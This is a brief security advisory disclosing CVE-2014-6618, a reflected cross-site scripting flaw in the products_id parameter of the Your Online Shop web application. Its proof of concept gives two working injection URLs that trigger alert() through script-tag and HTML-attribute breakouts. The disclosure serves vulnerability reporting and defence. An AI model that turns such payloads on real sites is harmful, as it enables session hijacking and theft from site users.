Your Online Shop Cross Site Scripting

`Title: Your online shop GET Reflected XSS  
Severity: High  
CVE-ID: CVE-2014-6618  
Release Date: 20 September 2014   
Author: Kenneth F. Belva  
Websites: http://silverbackventuresllc.com  
http://xssWarrior.com   
http://securitymaverick.com  
Twitter: @infosecmaverick  
Contact: Please use website contact form.  
Mail:   
URL: http://sourceforge.net/projects/youronlineshop/  
Vendor:   
Remote Exploit: Yes  
  
Discovered with: xssWarrior - http://xssWarrior.com  
  
  
  
Description:  
============  
  
XSS in both the script and HTML tags for the products_id field.  
  
  
Proof of Concept :  
==================  
  
Script Tags  
http://[domain]/youronlineshop/youronlineshop/?seccion=ver_prod&products_id=test%22%29;+alert%2810%29;+//  
  
HTML Attribute  
http://[domain]/youronlineshop/youronlineshop/?seccion=ver_prod&products_id=test%22/%3E%3Cscript%3Ealert%2811%29%3C/script%3E%3C  
  
  
  
`